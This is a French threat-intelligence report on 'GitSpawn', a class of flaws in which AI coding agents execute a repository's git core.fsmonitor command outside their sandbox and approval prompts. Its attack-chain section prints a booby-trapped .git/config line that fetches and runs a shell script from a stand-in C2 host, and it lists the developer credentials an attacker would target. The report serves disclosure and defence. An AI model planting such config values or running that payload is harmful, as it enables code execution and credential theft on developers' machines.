Threat Intelligence

GitSpawn : un dossier de projet suffit pour exécuter du code dans Claude Code, Codex, Cursor et Grok Build

Admin CyberAfrik 05 September 2026 25 lectures
GitSpawn : un dossier de projet suffit pour exécuter du code dans Claude Code, Codex, Cursor et Grok Build

Rapport CTI technique du 5 septembre 2026

Résumé exécutif

Manifold Security a publié le 1er septembre 2026 une recherche qui décrit huit failles réparties sur sept agents IA de codage en ligne de commande. Le mécanisme est toujours le même : ces agents lancent des commandes git en arrière-plan pour se construire un contexte projet au démarrage, et ils le font sans neutraliser la configuration git du dépôt qu'ils viennent d'ouvrir. Or plusieurs clés de configuration git sont des sinks d'exécution de commande. La clé core.fsmonitor, prévue pour accélérer le rafraîchissement de l'index sur les gros dépôts, désigne un programme auxiliaire que git exécute automatiquement. Un dépôt qui embarque son propre .git/config choisit donc ce que la machine du développeur va lancer.

Le résultat est une exécution de code arbitraire sous l'identité du développeur, hors du bac à sable de l'agent, sans invite d'approbation, et sur certains produits avant même que l'utilisateur soit authentifié ou ait accepté l'invite de confiance de l'espace de travail. Manifold a nommé cette classe GitSpawn. Quatre des huit constats restaient non corrigés au moment de la publication, dont Hermes Agent (CVE-2026-71963, CVE attribué par VulnCheck et non par l'éditeur), Qwen Code, Grok Build et un second chemin dans Claude Code. Goose a été corrigé sous CVE-2026-72718. La condition d'exploitation à retenir est précise : un git clone ne transporte jamais la charge, il faut que le dépôt arrive sous forme de fichiers avec son répertoire .git intact, donc par archive ZIP, partage réseau, dossier synchronisé ou clé USB.

Chronologie

DateÉvénement
26 juin 2026Manifold signale la variante core.fsmonitor de Claude Code. Le rapport est clos comme doublon d'un signalement déposé le même jour.
1er juillet 2026Un premier rapport de la même classe est déposé chez xAI pour Grok Build, puis classé « informative ».
7 juillet 2026Signalement Qwen Code au centre de réponse sécurité d'Alibaba, accepté.
8 juillet 2026Signalement Cursor, clos comme doublon d'un rapport antérieur.
13 juillet 2026Signalement goose en 1.41.0.
14 juillet 2026Signalement Grok Build, clos comme doublon du rapport du 1er juillet.
15 juillet 2026Signalement de la seconde variante Claude Code sur le chemin ultrareview, en 2.1.210. Clos comme doublon d'un ticket interne.
19 au 20 juillet 2026Confirmation puis signalement Hermes Agent en 0.18.2. Six tentatives de contact sur cinq canaux, l'avis GHSA privé n'est jamais trié.
20 juillet 2026Signalement OpenAI Codex, clos comme doublon. Corrigé depuis.
1er septembre 2026Retest sur versions courantes. Qwen Code 0.22.3, Grok Build 1.0.13, Claude Code 2.1.252 et Hermes 0.21.0 exécutent toujours la commande fournie par le dépôt. Publication de la recherche.
2 au 4 septembre 2026Reprise par The Hacker News, GBHackers, Cybersecurity News et plusieurs agrégateurs.

Fiche vulnérabilité (format fiche CTI)

CVE-2026-72718 | 7.0 (sévérité attribuée par les mainteneurs) | goose <= 1.41.0, corrigé en 1.44.0

goose review construit le diff des modifications en cours en lançant git diff dans le dépôt. La commande ne reçoit qu'un seul drapeau de configuration, core.quotePath=off, et rien n'est neutralisé par ailleurs. Le rafraîchissement de l'index déclenche la commande core.fsmonitor du dépôt avant que goose ne contacte le modèle. Conditions d'exploitation : le dépôt doit être présent sur disque avec son .git, et l'utilisateur doit lancer une revue. PoC disponible : oui, démonstration vidéo publiée par Manifold, pas de dépôt piégé prêt à l'emploi. Patch : mise à jour en 1.44.0. Avis GHSA-r5pp-p5r8-466r.

CVE-2026-71963 | Non scoré publiquement au 5 septembre | Hermes Agent 0.18.2 à 0.21.0

Hermes lance git status dans le répertoire de session pour récupérer le contexte du dépôt et laisse passer la configuration du dépôt telle quelle. Le rafraîchissement d'index exécute la commande core.fsmonitor. Le déclencheur est l'ouverture d'un dépôt suivie du premier message utilisateur. Conditions d'exploitation : identiques, présence du .git. PoC disponible : oui, vidéo Manifold. Patch : aucun au 1er septembre 2026, CVE attribué par VulnCheck en tant que CNA indépendante, l'éditeur n'ayant pas trié l'avis privé.

Sans CVE attribué | Non scoré | Claude Code, chemin ultrareview, confirmé sur 2.1.252

Cette variante ne repose pas sur core.fsmonitor mais sur une autre clé de configuration git de même nature, que le chemin de revue ne filtre pas. Manifold a délibérément laissé cette clé anonyme tant que le correctif n'est pas disponible. La commande s'exécute au démarrage, avant l'affichage de l'invite de confiance de l'espace de travail. La variante core.fsmonitor du même produit, elle, est corrigée depuis la 2.1.196. PoC disponible : partiel, vidéo sans détail de la clé. Patch : aucun au 1er septembre 2026.

Sans CVE attribué | Non scoré | Qwen Code, confirmé sur 0.22.3, et Grok Build, confirmé sur 1.0.13

Même sink core.fsmonitor, même absence de nettoyage de la configuration. Sur Qwen Code, la charge part au lancement de la commande qwen, avant authentification. Sur Grok Build, elle part à la première frappe clavier de l'utilisateur, avant l'envoi du moindre message. PoC disponible : oui, vidéos Manifold. Patch : aucun au 1er septembre 2026.

La faiblesse sous-jacente relève de CWE-78 (neutralisation incorrecte d'éléments spéciaux dans une commande système) combinée à CWE-15 (contrôle externe d'un paramètre de configuration système), et plus largement de CWE-426 pour les produits qui font confiance à un chemin de programme fourni par les données du projet.

Diagramme de la chaîne d'attaque

Chaîne d'exploitation GitSpawn, du ZIP piégé à l'exfiltration de credentials

Chaîne reconstituée à partir de la recherche Manifold Security du 1er septembre 2026 et de la documentation git sur core.fsmonitor.

Analyse technique

Étape 1 : livrer le dépôt sous forme de fichiers

La contrainte de livraison est ce qui distingue GitSpawn d'une attaque de chaîne d'approvisionnement classique sur dépôt public. Git ne transporte pas la configuration locale d'un dépôt : clone, fetch et pull reconstruisent un .git/config local et ignorent celui de la source. Il faut donc que l'arborescence arrive telle quelle. En pratique, c'est banal. Un consultant livre un projet à un client dans un ZIP, un collègue dépose un dossier sur un partage SMB, un développeur restaure un projet depuis une sauvegarde ou une synchronisation Dropbox, un intervenant apporte le code sur une clé USB. Toutes ces voies préservent .git. Manifold a utilisé un ZIP pour l'ensemble de ses preuves de concept.

Pour un red teamer, cela déplace le vecteur du côté ingénierie sociale plutôt que du côté typosquatting. La cible n'est pas « un développeur qui clone n'importe quoi », c'est « un développeur qui reçoit un projet à auditer ».

Étape 2 : planter le sink dans .git/config

Le dépôt piégé contient simplement :

[core]    fsmonitor = /bin/sh -c 'curl -s https://c2.example/stage1 | sh'

core.fsmonitor est une fonctionnalité documentée et légitime. Sur les très gros dépôts, parcourir chaque fichier pour détecter les modifications coûte cher, alors git délègue la question à un démon de surveillance du système de fichiers. La valeur de la clé est un chemin de programme, ou une ligne de commande, que git lance lui-même à chaque rafraîchissement d'index. Rien dans ce comportement n'est un bug de git : c'est l'usage prévu, et git considère que le contenu de .git/config est sous le contrôle de l'utilisateur.

C'est exactement l'hypothèse que casse une livraison par fichiers. Ce n'est d'ailleurs pas la seule clé concernée, core.pager, core.editor, les entrées diff.*.textconv et les définitions alias.* relèvent de la même famille. La variante Claude Code non corrigée exploite l'une d'entre elles, non nommée publiquement.

Étape 3 : laisser l'agent déclencher le rafraîchissement d'index

L'agent n'a rien à faire de particulier pour tomber dans le piège. Il suffit qu'il exécute une commande git qui touche à l'arbre de travail. Les deux échantillons relevés par Manifold sur des produits différents sont d'une banalité totale :

git status --porcelain=2 --branch git diff --name-only HEAD

Les deux forcent git à rafraîchir son index avant de répondre, et c'est ce rafraîchissement qui consulte core.fsmonitor. Le choix de la commande par l'agent n'a donc aucune importance. La parade côté éditeur est triviale à écrire, il suffit de forcer la valeur sur la ligne de commande :

git -c core.fsmonitor=false status --porcelain=2 --branch

Ce que révèle la recherche, c'est qu'aucun des agents examinés ne le faisait.

Étape 4 : sortir du modèle de permission

Le point qui rend GitSpawn intéressant du point de vue offensif tient au moment et au contexte d'exécution. La commande ne part pas d'un outil que le modèle a décidé d'appeler, elle part d'un sous-processus que le code de l'agent lance pour son propre compte. Elle ne passe donc jamais par la couche d'approbation, ni par le bac à sable dans lequel l'agent confine les commandes qu'il propose. Rien ne s'affiche à l'écran.

Le calendrier est pire encore. Sur Claude Code, la charge partait pendant la collecte de contexte au démarrage, avant acceptation de l'invite de confiance de l'espace de travail, c'est-à-dire avant le mécanisme censé protéger précisément contre le code non fiable. Sur Qwen Code, elle part avant l'authentification. Sur Grok Build, à la première frappe. Le développeur n'a encore rien demandé.

Étape 5 : capitaliser sur le poste développeur

Ce que l'attaquant récupère est le contenu habituel d'un poste de développeur, et il vaut cher : clés SSH dans ~/.ssh, jetons cloud dans les variables d'environnement, credentials de registre dans ~/.npmrc et ~/.docker/config.json, jetons d'API dans les fichiers de configuration du shell, l'ensemble des dépôts présents sur le disque, et un point d'appui persistant sur la machine. Un poste de développeur a en général accès en écriture à des dépôts qui alimentent des pipelines CI/CD, ce qui transforme un accès local en position de chaîne d'approvisionnement.

L'ampleur potentielle vient du volume d'installation. Manifold relève plus de 77 millions de téléchargements npm mensuels pour le paquet Claude Code d'après l'API npm, et un cumul proche du demi-million d'étoiles GitHub sur les cinq projets nommés.

Indicateurs de compromission

Aucun IOC réseau n'est publié, la recherche est une divulgation de vulnérabilité et non un rapport d'incident. Les indicateurs ci-dessous sont des artefacts de détection tirés du mécanisme, à instrumenter côté poste de travail.

TypeValeur
FichierPrésence d'une clé fsmonitor dans un .git/config reçu de l'extérieur
FichierClés core.pager, core.editor, alias.*, diff.*.textconv dans un .git/config non écrit localement
ProcessusProcessus enfant de git qui n'est ni git, ni ssh, ni un pager attendu (less, more)
Processussh, bash, powershell.exe, curl, wget dont le parent immédiat est un binaire git
ProcessusSous-processus lancé par un binaire d'agent (claude, qwen, goose, grok, hermes) dans les secondes suivant l'ouverture d'un dossier
ComportementConnexion sortante émise par un processus enfant de git vers un domaine non lié à un forge connu
FichierArchive .zip ou dossier synchronisé contenant un répertoire .git complet, y compris config

MITRE ATT&CK

Aucune cartographie officielle n'accompagne la publication de Manifold. La lecture ci-dessous est notre propre analyse technique, pas une attribution vendeur.

TactiqueTechniqueIDJustification
Initial AccessSupply Chain Compromise: Compromise Software Dependencies and Development ToolsT1195.001Le vecteur est un projet de développement livré à la victime, dont le contenu contrôle l'exécution.
ExecutionCommand and Scripting Interpreter: Unix ShellT1059.004La valeur de core.fsmonitor est exécutée par git via un interpréteur de commandes.
ExecutionUser Execution: Malicious FileT1204.002L'exécution se déclenche à l'ouverture du dossier par l'agent, action initiée par l'utilisateur.
Defense EvasionAbuse Elevation Control MechanismT1548Le sous-processus contourne l'invite d'approbation et le bac à sable de l'agent.
Defense EvasionMasquerading: Match Legitimate Name or LocationT1036.005L'activité se présente comme du tooling de développement légitime, ce que l'EDR interprète comme normal.
Credential AccessUnsecured Credentials: Credentials In FilesT1552.001Cibles naturelles : .env, ~/.npmrc, ~/.docker/config.json, historiques de shell.
Credential AccessUnsecured Credentials: Private KeysT1552.004Les clés SSH du développeur sont accessibles sous son identité.
DiscoveryFile and Directory DiscoveryT1083Inventaire des dépôts présents sur le disque.
PersistenceEvent Triggered ExecutionT1546La clé de configuration reste en place et se redéclenche à chaque ouverture du dépôt.

Remédiation : checklist opérationnelle

  1. Inspecter .git/config avant d'ouvrir avec un agent tout dépôt reçu sous forme de fichiers. Toute clé qui nomme un programme peut le lancer. Un grep -nE 'fsmonitor|pager|editor|textconv' .git/config prend deux secondes.
  2. Mettre à jour immédiatement les agents pour lesquels un correctif existe : goose 1.44.0 ou supérieur, Claude Code 2.1.196 ou supérieur pour la variante core.fsmonitor, Cursor et OpenAI Codex en version courante.
  3. Considérer Qwen Code, Grok Build, Hermes Agent et le chemin claude ultrareview comme vulnérables tant que les éditeurs n'ont pas publié. Interdire l'ouverture de dépôts d'origine externe avec ces outils.
  4. Neutraliser la configuration au niveau du système en positionnant les protections git globales, et vérifier que safe.directory est configuré pour les répertoires partagés. Cette mesure limite l'exposition mais ne couvre pas core.fsmonitor fourni par un dépôt dont l'utilisateur est propriétaire.
  5. Faire transiter les projets externes par un git clone local plutôt que par un ZIP. Le clone reconstruit la configuration et casse le vecteur.
  6. Ouvrir les projets non fiables dans une VM jetable ou un conteneur de développement sans clé SSH montée, sans variables d'environnement cloud et sans accès au reste du disque.
  7. Déployer une règle EDR sur la relation parent-enfant git vers interpréteur de commandes. Le volume de faux positifs est faible, les hooks git légitimes passent par .git/hooks et se distinguent par leur chemin.
  8. Auditer les postes qui ont ouvert des projets d'origine externe depuis juin 2026, en priorité chez les prestataires et les équipes de revue de code.
  9. Si vous éditez un agent, forcer la configuration sur chaque appel git de collecte de contexte, par exemple git -c core.fsmonitor=false status, et traiter toute lecture du dépôt comme une entrée non fiable.
  10. Étendre l'analyse aux autres artefacts que l'agent absorbe sans les avoir écrits : serveurs MCP, skills, plugins. Le format change, le schéma de confiance à l'arrivée reste le même.

Sources

Tags : GitSpawnCVE-2026-71963CVE-2026-72718Claude CodeCursoragents IAcore.fsmonitorManifold Security
Partager cet article